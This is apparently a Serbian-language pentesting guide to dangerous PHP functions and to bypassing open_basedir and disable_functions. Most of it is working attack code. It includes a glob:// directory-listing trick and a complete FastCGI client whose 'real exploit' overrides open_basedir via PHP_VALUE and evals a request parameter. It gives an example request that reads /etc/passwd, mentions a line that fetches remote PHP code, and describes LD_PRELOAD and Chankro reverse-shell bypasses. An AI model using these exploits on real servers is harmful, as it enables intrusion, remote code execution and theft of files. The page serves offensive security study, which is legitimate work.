mail / mb_send_mail - Ova funkcija se koristi za slanje mejlova, ali se takođe može zloupotrebiti za injektovanje proizvoljnih komandi unutar $options parametra. To je zato što php mail funkcija obično poziva sendmail binarni fajl unutar sistema i omogućava vam da dodate dodatne opcije. Međutim, nećete moći da vidite izlaz izvršene komande, pa se preporučuje da kreirate shell skriptu koja piše izlaz u fajl, izvršite je koristeći mail, i odštampate izlaz:
dl - Ova funkcija se može koristiti za dinamičko učitavanje PHP ekstenzije. Ova funkcija neće uvek biti prisutna, pa treba proveriti da li je dostupna pre nego što pokušate da je iskoristite. Pročitajte ovu stranicu da biste saznali kako da iskoristite ovu funkciju.
PHP Izvršavanje Koda
Pored eval, postoje i drugi načini za izvršavanje PHP koda: include/require se mogu koristiti za udaljeno izvršavanje koda u obliku ranjivosti Local File Include i Remote File Include.
${<php code>} // If your input gets reflected in any PHP string, it will be executed.eval()assert()// identical to eval()preg_replace('/.*/e',...)// e does an eval() on the matchcreate_function()// Create a function and use eval()include()include_once()require()require_once()$_GET['func_name']($_GET['argument']);$func =newReflectionFunction($_GET['func_name']);$func->invoke();// or$func->invokeArgs(array());// or serialize/unserialize function
disable_functions & open_basedir
Onemogućene funkcije je podešavanje koje se može konfigurisati u .ini datotekama u PHP-u koje će zabraniti korišćenje naznačenih funkcija. Open basedir je podešavanje koje PHP-u ukazuje na folder koji može da pristupi.
PHP podešavanje obično se konfiguriše u putanji /etc/php7/conf.d ili slično.
Obe konfiguracije mogu se videti u izlazu phpinfo():
open_basedir Bypass
open_basedir će konfigurisati foldere kojima PHP može da pristupi, ne ćete moći da pišete/čitate/izvršavate bilo koju datoteku van tih foldera, ali takođe nećete moći ni da listate druge direktorijume.
Međutim, ako nekako uspete da izvršite proizvoljan PHP kod, možete probati sledeći deo koda da pokušate da obiđete ograničenje.
Listing dirs with glob:// bypass
U ovom prvom primeru koristi se glob:// protokol sa nekim zaobilaznim putem:
<?php$file_list =array();$it =newDirectoryIterator("glob:///v??/run/*");foreach($it as $f) {$file_list[] = $f->__toString();}$it =newDirectoryIterator("glob:///v??/run/.*");foreach($it as $f) {$file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){echo"{$f}<br/>";}
Napomena1: U putanji možete takođe koristiti /e??/* da listate /etc/* i bilo koju drugu fasciklu.
Napomena2: Izgleda da je deo koda dupliran, ali to je zapravo neophodno!
Napomena3: Ovaj primer je samo koristan za listanje fascikala, a ne za čitanje fajlova.
Potpuni open_basedir bypass korišćenjem FastCGI
Ako želite da saznate više o PHP-FPM i FastCGI možete pročitati prvi deo ove stranice.
Ako je php-fpm konfigurisan, možete ga iskoristiti da potpuno zaobiđete open_basedir:
Imajte na umu da je prva stvar koju treba da uradite da pronađete gde se nalazi unix socket php-fpm. Obično se nalazi pod /var/run, tako da možete koristiti prethodni kod da listate direktorijum i pronađete ga.
Kod iz ovde.
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Bad request');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('This app can\'t multiplex [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('New request rejected; too busy [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Role value not known [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// real exploit start hereif (!isset($_REQUEST['cmd'])) {die("Check your input\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything$php_value ="allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Call: $uri\n\n";echo $client->request($params, $code)."\n";?>
Ovi skripti će komunicirati sa unix socket-om php-fpm (obično se nalazi u /var/run ako se koristi fpm) da izvrše proizvoljan kod. open_basedir podešavanja će biti prepisana atributom PHP_VALUE koji se šalje.
Obratite pažnju na to kako se eval koristi za izvršavanje PHP koda koji šaljete unutar cmd parametra.
Takođe obratite pažnju na komentarisanu liniju 324, možete je otkomentarisati i payload će se automatski povezati na dati URL i izvršiti PHP kod koji se tamo nalazi.
Samo pristupite http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd'); da dobijete sadržaj datoteke /etc/passwd.
Možda mislite da na isti način na koji smo prepisali open_basedir konfiguraciju možemo prepisati disable_functions. Pa, pokušajte, ali neće raditi, očigledno disable_functions se može konfigurisati samo u .ini php konfiguracionom fajlu i promene koje izvršite koristeći PHP_VALUE neće biti efikasne na ovom specifičnom podešavanju.
disable_functions Bypass
Ako uspete da izvršite PHP kod unutar mašine, verovatno želite da pređete na sledeći nivo i izvršite proizvoljne sistemske komande. U ovoj situaciji je uobičajeno otkriti da su većina ili sve PHP funkcije koje omogućavaju izvršavanje sistemskih komandi onemogućene u disable_functions.
Dakle, hajde da vidimo kako možete zaobići ovo ograničenje (ako možete)
Zaobilaženje korišćenjem drugih sistemskih funkcija
Samo se vratite na početak ove stranice i proverite da li neka od funkcija za izvršavanje komandi nije onemogućena i dostupna u okruženju. Ako pronađete samo 1 od njih, moći ćete da je koristite za izvršavanje proizvoljnih sistemskih komandi.
LD_PRELOAD zaobilaženje
Poznato je da neke funkcije u PHP-u kao što je mail() će izvršiti binarne datoteke unutar sistema. Stoga, možete ih zloupotrebiti koristeći promenljivu okruženja LD_PRELOAD da ih naterate da učitaju proizvoljnu biblioteku koja može izvršiti bilo šta.
Funkcije koje se mogu koristiti za zaobilaženje disable_functions sa LD_PRELOAD
mail
mb_send_mail: Efikasno kada je instaliran php-mbstring modul.
imap_mail: Radi ako je prisutan php-imap modul.
libvirt_connect: Zahteva php-libvirt-php modul.
gnupg_init: Može se koristiti sa instaliranim php-gnupg modulom.
new imagick(): Ova klasa se može zloupotrebiti da zaobiđe ograničenja. Detaljne tehnike eksploatacije mogu se naći u sveobuhvatnom writeup-u ovde.
Možete pronaći ovde skript za fuzzing koji je korišćen za pronalaženje tih funkcija.
Evo biblioteke koju možete kompajlirati da zloupotrebite LD_PRELOAD env promenljivu:
Da biste iskoristili ovu pogrešnu konfiguraciju, možete Chankro. Ovo je alat koji će generisati PHP exploit koji treba da otpremite na ranjivi server i izvršite ga (pristupite mu putem veba).
Chankro će napisati unutar diska žrtve biblioteku i reverznu ljusku koju želite da izvršite i koristiće LD_PRELOAD trik + PHP mail() funkciju za izvršavanje reverzne ljuske.
Napomena: da biste koristili Chankro, mail i putenvne mogu se pojaviti unutar disable_functions liste.
U sledećem primeru možete videti kako da napravite chankro exploit za arch 64, koji će izvršiti whoami i sačuvati izlaz u /tmp/chankro_shell.out, chankro će napisati biblioteku i payload u /tmp i konačni exploit će se zvati bicho.php (to je datoteka koju treba da otpremite na server žrtve):
Imajte na umu da korišćenjem PHP možete čitati i pisati datoteke, kreirati direktorijume i menjati dozvole.
Možete čak i dumpovati baze podataka.
Možda korišćenjem PHP za enumeraciju kutije možete pronaći način za eskalaciju privilegija/izvršavanje komandi (na primer, čitanje nekog privatnog ssh ključa).
Ove funkcije prihvataju string parametar koji se može koristiti za pozivanje funkcije po izboru napadača. U zavisnosti od funkcije, napadač može ili ne mora imati mogućnost da prosledi parametar. U tom slučaju, funkcija za otkrivanje informacija kao što je phpinfo() može se koristiti.
// Function => Position of callback arguments'ob_start'=>0,'array_diff_uassoc'=>-1,'array_diff_ukey'=>-1,'array_filter'=>1,'array_intersect_uassoc'=>-1,'array_intersect_ukey'=>-1,'array_map'=>0,'array_reduce'=>1,'array_udiff_assoc'=>-1,'array_udiff_uassoc'=>array(-1,-2),'array_udiff'=>-1,'array_uintersect_assoc'=>-1,'array_uintersect_uassoc'=>array(-1,-2),'array_uintersect'=>-1,'array_walk_recursive'=>1,'array_walk'=>1,'assert_options'=>1,'uasort'=>1,'uksort'=>1,'usort'=>1,'preg_replace_callback'=>1,'spl_autoload_register'=>0,'iterator_apply'=>1,'call_user_func'=>0,'call_user_func_array'=>0,'register_shutdown_function'=>0,'register_tick_function'=>0,'set_error_handler'=>0,'set_exception_handler'=>0,'session_set_save_handler'=>array(0,1,2,3,4,5),'sqlite_create_aggregate'=>array(2,3),'sqlite_create_function'=>2,
Otkriće informacija
Većina ovih poziva funkcija nije sinka. Ali to može biti ranjivost ako su bilo koji od vraćenih podataka vidljivi napadaču. Ako napadač može da vidi phpinfo(), to je definitivno ranjivost.
extract // Opens the door for register_globals attacks (see study in scarlet).parse_str // works like extract if only one argument is given.putenvini_setmail // has CRLF injection in the 3rd parameter, opens the door for spam.header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_niceproc_terminateproc_closepfsockopenfsockopenapache_child_terminateposix_killposix_mkfifoposix_setpgidposix_setsidposix_setuid
Filesystem Functions
Prema RATS-u, sve funkcije datotečnog sistema u php su loše. Neke od njih se ne čine veoma korisnim za napadača. Druge su korisnije nego što mislite. Na primer, ako je allow_url_fopen=On, tada se URL može koristiti kao putanja do datoteke, tako da se poziv copy($_GET['s'], $_GET['d']); može koristiti za otpremanje PHP skripte bilo gde na sistemu. Takođe, ako je sajt ranjiv na zahtev poslat putem GET, svaka od tih funkcija datotečnog sistema može biti zloupotrebljena da usmeri napad na drugi host preko vašeg servera.
Pisanje u datotečni sistem (delimično u kombinaciji sa čitanjem)
chgrpchmodchowncopyfile_put_contentslchgrplchownlinkmkdirmove_uploaded_filerenamermdirsymlinktempnamtouchunlinkimagepng // 2nd parameter is a path.imagewbmp // 2nd parameter is a path.image2wbmp // 2nd parameter is a path.imagejpeg // 2nd parameter is a path.imagexbm // 2nd parameter is a path.imagegif // 2nd parameter is a path.imagegd // 2nd parameter is a path.imagegd2 // 2nd parameter is a path.iptcembedftp_getftp_nb_getscandir